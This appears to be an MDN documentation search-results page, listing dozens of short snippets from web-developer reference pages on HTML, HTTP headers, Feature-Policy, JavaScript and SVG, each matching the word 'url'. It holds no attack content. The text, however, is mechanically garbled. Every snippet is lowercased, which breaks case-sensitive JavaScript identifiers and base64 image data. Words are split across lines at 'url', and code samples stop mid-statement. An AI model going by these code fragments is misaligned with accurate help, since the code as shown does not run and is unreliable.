txsqdqww6n5ceads=" /> <img class="intlink" title="delete indentation" onclick="formatdoc('indent');" src="data:image/gif;base64,r0lgodlhfgawaomiaaaaadljwl9vj1ie35gjuaezxtdv3nha7p///////////////////////////////yh5baeaaagalaaaaaawabyaaaq7emljq704650b/x8gemmpgugwhjnzxodkso5oquogo5khbwwesymqscrdhu9voyk5tm9zspfsr9gsjwiaow==" /> <img class="intlink" title="hyperlink" onclick="var slnk=prompt('write the
url here','http:\/\/');if(slnk&&slnk!=''&&slnk!='http://'){formatdoc('createlink',slnk)}" src="data:image/gif;base64,r0lgodlhfgawaomkab1chdrly19vj3morpgjuaezxrcztb/i19ha7pv8/f///////////////////////yh5baekaa8alaaaaaawabyaaary8mljq7046827/2byiqvhhg9pegvgiklydeuby/rle4fqf4dcj2aqxaijqdcwqcaebwiioemqbgsafhdagghgi9xghahmnoszgjkjei33uesv2+/4vd4taqa7" /> <img class="intlink" title="cut" onclick="formatdoc('...
Making content editable - Developer guides
nagtxsqdqww6n5ceads=" /> <img class="intlink" title="add indentation" onclick="formatdoc('indent');" src="data:image/gif;base64,r0lgodlhfgawaomiaaaaadljwl9vj1ie35gjuaezxtdv3nha7p///////////////////////////////yh5baeaaagalaaaaaawabyaaaq7emljq704650b/x8gemmpgugwhjnzxodkso5oquogo5khbwwesymqscrdhu9voyk5tm9zspfsr9gsjwiaow==" /> <img class="intlink" title="hyperlink" onclick="var slnk=prompt('write the
url here','http:\/\/');if(slnk&&slnk!=''&&slnk!='http://'){formatdoc('createlink',slnk)}" src="data:image/gif;base64,r0lgodlhfgawaomkab1chdrly19vj3morpgjuaezxrcztb/i19ha7pv8/f///////////////////////yh5baekaa8alaaaaaawabyaaary8mljq7046827/2byiqvhhg9pegvgiklydeuby/rle4fqf4dcj2aqxaijqdcwqcaebwiioemqbgsafhdagghgi9xghahmnoszgjkjei33uesv2+/4vd4taqa7" /> <img class="intlink" title="cut" onclick="formatdoc('...
A hybrid approach - Developer guides
using user-agent detection specifically for content and not layout also allows you to have a single
url for each piece of content, so that the content can adapt its layout to the user’s browser.
Printing - Developer guides
tle>mdn example</title> <script type="text/javascript"> function closeprint () { document.body.removechild(this.__container__); } function setprint () { this.contentwindow.__container__ = this; this.contentwindow.onbeforeunload = closeprint; this.contentwindow.onafterprint = closeprint; this.contentwindow.focus(); // required for ie this.contentwindow.print(); } function printpage (s
url) { var ohiddframe = document.createelement("iframe"); ohiddframe.onload = setprint; ohiddframe.style.position = "fixed"; ohiddframe.style.right = "0"; ohiddframe.style.bottom = "0"; ohiddframe.style.width = "0"; ohiddframe.style.height = "0"; ohiddframe.style.border = "0"; ohiddframe.src = s
url; document.body.appendchild(ohiddframe); } </script> </head> <body> <p><span oncl...
HTML attribute: readonly - HTML: Hypertext Markup Language
the readonly attribute is supported by text, search,
url, tel, email, password, date, month, week, time, datetime-local, and number<input> types and the <textarea> form control elements.
HTML attribute: required - HTML: Hypertext Markup Language
the required attribute is supported by text, search,
url, tel, email, password, date, month, week, time, datetime-local, number, checkbox, radio, file, <input> types along with the <select> and <textarea> form control elements.
<address>: The Contact Address element - HTML: Hypertext Markup Language
the contact information provided by an <address> element's contents can take whatever form is appropriate for the context, and may include any type of contact information that is needed, such as a physical address,
url, email address, phone number, social media handle, geographic coordinates, and so forth.
<input type="date"> - HTML: Hypertext Markup Language
basic uses of date the simplest use of <input type="date"> involves one <input> combined with its <label>, as seen below: <form action="https://example.com"> <label> enter your birthday: <input type="date" name="bday"> </label> <p><button>submit</button></p> </form> this html submits the entered date under the key bday to https://example.com — resulting in a
url like https://example.com/?bday=1955-06-08.
<input type="tel"> - HTML: Hypertext Markup Language
unlike <input type="email"> and <input type="
url"> , the input value is not automatically validated to a particular format before the form can be submitted, because formats for telephone numbers vary so much around the world.
<input type="text"> - HTML: Hypertext Markup Language
you should use them anywhere you want the user to enter a single-line value and there isn't a more specific input type available for collecting that value (for example, if it's a date,
url, email, or search term, you've got better options available).
<wbr> - HTML: Hypertext Markup Language
example the yahoo style guide recommends breaking a
url before punctuation, to avoid leaving a punctuation mark at the end of the line, which the reader might mistake for the end of the
url.
Preloading content with rel="preload" - HTML: Hypertext Markup Language
600px)"> <link rel="preload" href="bg-image-wide.png" as="image" media="(min-width: 601px)"> <link rel="stylesheet" href="main.css"> </head> <body> <header> <h1>my site</h1> </header> <script> var mediaquerylist = window.matchmedia("(max-width: 600px)"); var header = document.queryselector('header'); if (mediaquerylist.matches) { header.style.backgroundimage = '
url(bg-image-narrow.png)'; } else { header.style.backgroundimage = '
url(bg-image-wide.png)'; } </script> </body> we include media attributes on our <link> elements so that a narrow image is preloaded if the user has a narrow viewport, and a wider image is loaded if they have a wide viewport.
Evolution of HTTP - HTTP
http/0.9 is extremely simple: requests consist of a single line and start with the only possible method get followed by the path to the resource (not the
url as both the protocol, server, and port are unnecessary once connected to the server).
CORS errors - HTTP
it will probably look like this: the text of the error message will be something similar to the following: cross-origin request blocked: the same origin policy disallows reading the remote resource at https://some-
url-here.
HTTP caching - HTTP
infrequently updated files are named in a specific way: in their
url, usually in the filename, a revision (or version) number is added.
Using Feature Policy - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Accept-Language - HTTP
this header is a hint to be used when the server has no way of determining the language via another way, like a specific
url, that is controlled by an explicit user decision.
Access-Control-Allow-Credentials - HTTP
examples allow credentials: access-control-allow-credentials: true using xhr with credentials: var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); using fetch with credentials: fetch(
url, { credentials: 'include' }) specifications specification status comment fetchthe definition of 'access-control-allow-credentials' in that specification.
Content-Type - HTTP
it also needs to have a mime type of its parsed value (ignoring parameters) of either application/x-www-form-
urlencoded, multipart/form-data, or text/plain.
Expect - HTTP
no common browsers send the expect header, but some other clients such as c
url do so by default.
Feature-Policy: accelerometer - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: ambient-light-sensor - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: autoplay - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: battery - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: camera - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: display-capture - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: document-domain - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: encrypted-media - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: fullscreen - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: geolocation - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: gyroscope - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: layout-animations - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: legacy-image-formats - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: magnetometer - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: microphone - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: midi - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: oversized-images - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: payment - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: picture-in-picture - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: publickey-credentials-get - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: screen-wake-lock - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: sync-xhr - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: unoptimized-images - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: unsized-media - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: usb - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: vibrate - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: wake-lock - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
web-share - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy: xr-spatial-tracking - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Feature-Policy - HTTP
'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute.
Host - HTTP
if no port is included, the default port for the service requested (e.g., 443 for an https
url, and 80 for an http
url) is implied.
Origin - HTTP
if no port is given, the default port for the service requested (e.g., "80" for an http
url) is implied.
Public-Key-Pins - HTTP
report-uri="<uri>" optional if this optional parameter is specified, pin validation failures are reported to the given
url.
Sec-Fetch-Site - HTTP
directly entering a
url in the address bar, opening a bookmark, or draging-and-dropping a file into the browser window.
Set-Cookie2 - HTTP
header type response header forbidden header name no syntax set-cookie2: <cookie-name>=<cookie-value> set-cookie2: <cookie-name>=<cookie-value>; comment=<value> set-cookie2: <cookie-name>=<cookie-value>; comment
url=<http-
url> set-cookie2: <cookie-name>=<cookie-value>; discard set-cookie2: <cookie-name>=<cookie-value>; domain=<domain-value> set-cookie2: <cookie-name>=<cookie-value>; max-age=<non-zero-digit> set-cookie2: <cookie-name>=<cookie-value>; path=<path-value> set-cookie2: <cookie-name>=<cookie-value>; port=<port-number> set-cookie2: <cookie-name>=<cookie-value>; secure set-cookie2: <cookie-name>=<coo...
SourceMap - HTTP
header type response header forbidden header name no syntax sourcemap: <
url> x-sourcemap: <
url> (deprecated) directives <
url> a relative (to the request
url) or absolute
url pointing to a source map file.
Vary - HTTP
directives * each request for a
url is supposed to be treated as a unique and uncacheable request.
Via - HTTP
<host> and <port> public proxy
url and port.
X-Forwarded-Proto - HTTP
examples x-forwarded-proto: https other non-standard forms: # microsoft front-end-https: on x-forwarded-protocol: https x-forwarded-ssl: on x-
url-scheme: https specifications not part of any current specification.
An overview of HTTP - HTTP
the path of the resource to fetch; the
url of the resource stripped from elements that are obvious from the context, for example without the protocol (http://), the domain (here, developer.mozilla.org), or the tcp port (here, 80).
HTTP resources and specifications - HTTP
tf draft rfc 2145 use and interpretation of http version numbers informational rfc 6585 additional http status codes proposed standard rfc 7538 the hypertext transfer protocol status code 308 (permanent redirect) proposed standard rfc 7725 an http status code to report legal obstacles on the standard track rfc 2397 the "data"
url scheme proposed standard rfc 3986 uniform resource identifier (uri): generic syntax internet standard rfc 5988 web linking defines the link header proposed standard experimental spec hypertext transfer protocol (http) keep-alive header informational (expired) draft spec http client hints ietf draft rfc 7578 returning v...
201 Created - HTTP
the new resource is effectively created before this response is sent back and the new resource is returned in the body of the message, its location being either the
url of the request, or the content of the location header.
307 Temporary Redirect - HTTP
http 307 temporary redirect redirect status response code indicates that the resource requested has been temporarily moved to the
url given by the location headers.
431 Request Header Fields Too Large - HTTP
servers will often produce this status if: the referer
url is too long there are too many cookies sent in the request status 431 request header fields too large specifications specification title rfc 6585, section 5: 431 request header fields too large additional http status codes ...
Control flow and error handling - JavaScript
the block is delimited by a pair of c
urly brackets: { statement_1; statement_2; ⋮ statement_n; } example block statements are commonly used with control flow statements (if, for, while).
Grammar and types - JavaScript
more succinctly, the syntax is: [(+|-)][digits].[digits][(e|e)[(+|-)]digits] for example: 3.1415926 -.123456789 -3.1e+12 .1e-23 object literals an object literal is a list of zero or more pairs of property names and associated values of an object, enclosed in c
urly braces ({}).
Using Promises - JavaScript
here's some code that uses createaudiofileasync(): function successcallback(result) { console.log("audio file ready at
url: " + result); } function failurecallback(error) { console.error("error generating audio file: " + error); } createaudiofileasync(audiosettings, successcallback, failurecallback); modern functions return a promise that you can attach your callbacks to instead: if createaudiofileasync() were rewritten to return a promise, using it could be as simple as this: createaudiofileasync(audiosettin...
Working with objects - JavaScript
for example, let's create an object named mycar and give it properties named make, model, and year as follows: var mycar = new object(); mycar.make = 'ford'; mycar.model = 'mustang'; mycar.year = 1969; the above example could also be written using an object initializer, which is a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in c
urly braces ({}): var mycar = { make: 'ford', model: 'mustang', year: 1969 }; unassigned properties of an object are undefined (and not null).
Classes - JavaScript
class body and method definitions the body of a class is the part that is in c
urly brackets {}.
Arrow function expressions - JavaScript
r function above can be written as the arrow function below elements.map((element) => { return element.length; }); // [8, 6, 7, 9] // when there is only one parameter, we can remove the surrounding parentheses elements.map(element => { return element.length; }); // [8, 6, 7, 9] // when the only statement in an arrow function is `return`, we can remove `return` and remove // the surrounding c
urly brackets elements.map(element => element.length); // [8, 6, 7, 9] // in this case, because we only need the length property, we can use destructuring parameter: // notice that the `length` corresponds to the property we want to get whereas the // obviously non-special `lengthfoobarx` is just the name of a variable which can be changed // to any valid variable name you want elements.map(({ lengt...
Error.prototype.stack - JavaScript
'throw new error()')(); } catch (e) { console.log(e.stack); } // anonymous@file:///c:/example.html line 7 > function:1:1 // @file:///c:/example.html:7:6 try { eval("eval('fail')"); } catch (x) { console.log(x.stack); } // @file:///c:/example.html line 7 > eval line 1 > eval:1:1 // @file:///c:/example.html line 7 > eval:1:1 // @file:///c:/example.html:7:6 you can also use the //# source
url directive to name an eval source.
JSON.stringify() - JavaScript
therefore, if compatibility with older javascript engines is required, it is perilous to directly substitute the string returned by json.stringify into a javascript string to be passed to eval or new function or as part of a jsonp
url, and the following utility can be used: function jsfriendlyjsonstringify (s) { return json.stringify(s).
JSON - JavaScript
examples example json { "browsers": { "firefox": { "name": "firefox", "pref_
url": "about:config", "releases": { "1": { "release_date": "2004-11-09", "status": "retired", "engine": "gecko", "engine_version": "1.7" } } } } } specifications specification ecmascript (ecma-262)the definition of 'json' in that specification.
Promise() constructor - JavaScript
const myfirstpromise = new promise((resolve, reject) => { // do something asynchronous which eventually calls either: // // resolve(somevalue) // fulfilled // or // reject("failure reason") // rejected }); making functions return a promise to provide a function with promise functionality, have it return a promise: function myasyncfunction(
url) { return new promise((resolve, reject) => { const xhr = new xmlhttprequest() xhr.open("get",
url) xhr.onload = () => resolve(xhr.responsetext) xhr.onerror = () => reject(xhr.statustext) xhr.send() }); } specifications specification ecmascript (ecma-262)the definition of 'promise constructor' in that specification.
RegExp - JavaScript
extracting sub-domain name from
url let
url = 'http://xxx.domain.com' console.log(/[^.]+/.exec(
url)[0].substr(7)) // logs 'xxx' instead of using regular expressions for parsing
urls, it is usually better to use the browsers built-in
url parser by using the
url api.
String - JavaScript
string.prototype.anchor() <a name="name"> (hypertext target) string.prototype.big() <big> string.prototype.blink() <blink> string.prototype.bold() <b> string.prototype.fixed() <tt> string.prototype.fontcolor() <font color="color"> string.prototype.fontsize() <font size="size"> string.prototype.italics() <i> string.prototype.link() <a href="
url"> (link to
url) string.prototype.small() <small> string.prototype.strike() <strike> string.prototype.sub() <sub> string.prototype.sup() <sup> examples string conversion it's possible to use string as a more reliable tostring() alternative, as it works when used on null, undefined, and on symbols.
decodeURI() - JavaScript
examples decoding a cyrillic
url decodeuri('https://developer.mozilla.org/ru/docs/javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "https://developer.mozilla.org/ru/docs/javascript_шеллы" catching errors try { var a = decodeuri('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence specifications specification ecmascript (ecma-262)the definition of 'decodeuri' in th...
decodeURIComponent() - JavaScript
examples decoding a cyrillic
url component decodeuricomponent('javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "javascript_шеллы" catching errors try { var a = decodeuricomponent('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence decoding query parameters from a
url decodeuricomponent cannot be used directly to parse query parameters from a
url.
encodeURI() - JavaScript
s to encode a surrogate which is not part of a high-low pair, e.g., // high-low pair ok console.log(encodeuri('\ud800\udfff')); // lone high surrogate throws "urierror: malformed uri sequence" console.log(encodeuri('\ud800')); // lone low surrogate throws "urierror: malformed uri sequence" console.log(encodeuri('\udfff')); encoding for ipv6 if one wishes to follow the more recent rfc3986 for
urls, which makes square brackets reserved (for ipv6) and thus not encoded when forming something which could be part of a
url (such as a host), the following code snippet may help: function fixedencodeuri(str) { return encodeuri(str).replace(/%5b/g, '[').replace(/%5d/g, ']'); } specifications specification ecmascript (ecma-262)the definition of 'encodeuri' in that specif...
encodeURIComponent() - JavaScript
for application/x-www-form-
urlencoded, spaces are to be replaced by "+", so one may wish to follow a encodeuricomponent() replacement with an additional replacement of "%20" with "+".
escape() - JavaScript
note: this function was used mostly for
url queries (the part of a
url following ?)—not for escaping ordinary string literals, which use the format "\xhh".
Pipeline operator (|>) - JavaScript
the result is syntactic sugar in which a function call with a single argument can be written like this: let
url = "%21" |> decodeuri; the equivalent call in traditional syntax looks like this: let
url = decodeuri("%21"); syntax expression |> function the value of the specified expression is passed into the function as its sole parameter.
empty - JavaScript
in the next example, an if...else statement without c
urly braces ({}) is used.
block - JavaScript
the block is delimited by a pair of braces ("c
urly brackets") and may optionally be labelled: the source for this interactive example is stored in a github repository.
import - JavaScript
the module: file.js function getjson(
url, callback) { let xhr = new xmlhttprequest(); xhr.onload = function () { callback(this.responsetext) }; xhr.open('get',
url, true); xhr.send(); } export function getusefulcontents(
url, callback) { getjson(
url, data => callback(json.parse(data))); } the main program: main.js import { getusefulcontents } from '/modules/file.js'; getusefulcontents('http://www.example.com', dat...
display - Web app manifests
this can be used to provide a consistent user experience between launching a site from an
url and launching it from a desktop icon.
Authoring MathML - MathML
for example, here is a minimal stylesheet to use latin modern for the text and latin modern math for the mathematics: @namespace
url('http://www.w3.org/1999/xhtml'); @namespace m
url('http://www.w3.org/1998/math/mathml'); body, m|mtext { font-family: latin modern; } m|math { font-family: latin modern math; } you can then use the @font-face rule as usual to provide woff fallback for latin modern and latin modern math.
<mover> - MathML
examples sample rendering: rendering in your browser: x + y + z ⏞ <math> <mover accent="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> ⏞ <!--top c
urly bracket--> </mo> </mover> </math> specifications specification status comment mathml 3.0the definition of 'mover' in that specification.
<munder> - MathML
examples sample rendering: rendering in your browser: x + y + z ⏟ <math> <munder accentunder="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> ⏟ <!--bottom c
urly bracket--> </mo> </munder> </math> specifications specification status comment mathml 3.0the definition of 'munder' in that specification.
<semantics> - MathML
attributes the following attributes can be set on <annotation> and <annotation-xml>: definition
url the location of the annotation key symbol.
Performance fundamentals - Web Performance
if so, edit the static files to remove any private information, then send them to others for help (submit a bugzilla report, for example, or host it on a server and share the
url).
Mobile first - Progressive web apps (PWAs)
display: inline; } nav li a { border-right: 1px solid #ad66d5; border-bottom: none; display: inline-block; padding: 0 5px; font-size: 1.6em; } nav li:last-child a { border-right: none; } } @media (min-width: 600px) { html { background: #eee; height: 100%; } body { width: 600px; height: inherit; margin: 0 auto; background:
url(../img/firefox-os.png) bottom left no-repeat, linear-gradient(to bottom, #fff, #eee); } .main > p { background: rgba(255,255,255,0.3); } nav li a { padding: 0 10px; font-size: 2em; } } the first one cancels out the css display: table behaviour, hides the links to jump to and from the navigation, as they are not needed anymore in the wider layout, and changes the vertica...
Progressive web apps (PWAs)
it describes the name of the app, the start
url, icons, and all of the other details necessary to transform the website into an app-like format.
azimuth - SVG: Scalable Vector Graphics
, svg { height: 100%; } <svg viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight azimuth="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight azimuth="240" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter:
url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter:
url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'azimuth' in that specification.
clipPathUnits - SVG: Scalable Vector Graphics
=".5" r=".35" /> </clippath> <!-- some reference rect to materialized to clip path --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> <rect id="r3" x="55" y="55" width="45" height="45" /> <rect id="r4" x="55" y="0" width="45" height="45" /> <!-- the first 3 rect are clipped with usespaceonuse units --> <use clip-path="
url(#myclip1)" xlink:href="#r1" fill="red" /> <use clip-path="
url(#myclip1)" xlink:href="#r2" fill="red" /> <use clip-path="
url(#myclip1)" xlink:href="#r3" fill="red" /> <!-- the last rect is clipped with objectboundingbox units --> <use clip-path="
url(#myclip2)" xlink:href="#r4" fill="red" /> </svg> clippath for <clippath>, clippathunits define the coordinate system in use for the cont...
color-rendering - SVG: Scalable Vector Graphics
th>, <tspan>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="
url(#gradient)" color-rendering="optimizequality" /> <text x="45" y="50%" color-rendering="optimizequality">quality-optimized</text> <circle cx="100" cy="100" r="100" color-rendering="optimizespeed" fill="
url(#gradient)" style="transform: translatex(240px);" /> <text x="290" y="50%" color-rendering="optimizespeed">speed-optimized</text> </svg> usage notes value auto | op...
diffuseConstant - SVG: Scalable Vector Graphics
g in="sourcegraphic" diffuseconstant="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="2"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'diffuseconstant' in tha...
divisor - SVG: Scalable Vector Graphics
"0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="8"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes value <number> default value sum of all values in kernelmatrix or 1 if sum is 0 animatable yes <number> this value defines the...
elevation - SVG: Scalable Vector Graphics
vg { height: 100%; } <svg viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight elevation="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight elevation="45" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter:
url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter:
url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'elevation' in that specification.
exponent - SVG: Scalable Vector Graphics
<fefuncb type="gamma" exponent="1"/> </fecomponenttransfer> </filter> <filter id="componenttransfer2" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" exponent="5"/> <fefuncg type="gamma" exponent="5"/> <fefuncb type="gamma" exponent="5"/> </fecomponenttransfer> </filter> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient)" style="filter:
url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient)" style="filter:
url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes <number> if the type attribute of the component element is set to gamma,...
fill - SVG: Scalable Vector Graphics
} <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- simple color fill --> <circle cx="50" cy="50" r="40" fill="pink" /> <!-- fill circle with a gradient --> <defs> <radialgradient id="mygradient"> <stop offset="0%" stop-color="pink" /> <stop offset="100%" stop-color="black" /> </radialgradient> </defs> <circle cx="150" cy="50" r="40" fill="
url(#mygradient)" /> <!-- keeping the final state of an animated circle which is a circle with a radius of 40.
filter - SVG: Scalable Vector Graphics
html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <filter id="blur"> <fegaussianblur stddeviation="2" /> </filter> <rect x="10" y="10" width="80" height="80" filter="
url(#blur)" /> </svg> usage notes value none | <filter-function-list> default value none animatable yes for a description of the values see the css filter property.
flood-color - SVG: Scalable Vector Graphics
<fedropshadow> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="flood1"> <feflood flood-color="skyblue" x="0" y="0" width="200" height="200"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#flood1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#flood2); transform: translatex(220px);" /> </svg> usage notes value color initial value black animatable yes specifications specification status comment filter effects module level 1the definition of 'flood-color' in that specification.
flood-opacity - SVG: Scalable Vector Graphics
height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="flood1"> <feflood flood-color="seagreen" flood-opacity="1" x="0" y="0" width="200" height="200"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" flood-opacity="0.3" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#flood1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#flood2); transform: translatex(220px);" /> </svg> usage notes value <alpha-value> initial value 1 animatable yes <alpha-value> a number or percentage indicating the opacity value to use across the current filter primitive subregion.
gradientTransform - SVG: Scalable Vector Graphics
radialgradient> <radialgradient id="gradient2" gradientunits="userspaceonuse" cx="100" cy="100" r="100" fx="100" fy="100" gradienttransform="skewx(20) translate(-35, 0)"> <stop offset="0%" stop-color="darkblue" /> <stop offset="50%" stop-color="skyblue" /> <stop offset="100%" stop-color="darkblue" /> </radialgradient> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient1)" /> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient2)" style="transform: translatex(220px);" /> </svg> usage notes default value identity transform value <transform-list> animatable yes <transform-list> a list of transformation functions specifying some additional transformation from the gradient coordinate system ont...
id - SVG: Scalable Vector Graphics
note: you should avoid the use of id values that would be parsed as an svg view specification (e.g., mydrawing.svg#svgview(viewbox(0,200,1000,1000))) or a basic media fragment when used as a
url target fragment.
intercept - SVG: Scalable Vector Graphics
ype="linear" intercept="0"/> </fecomponenttransfer> </filter> <filter id="componenttransfer2" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" intercept="0.3"/> <fefuncg type="linear" intercept="0.1"/> <fefuncb type="linear" intercept="0.8"/> </fecomponenttransfer> </filter> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient)" style="filter:
url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="
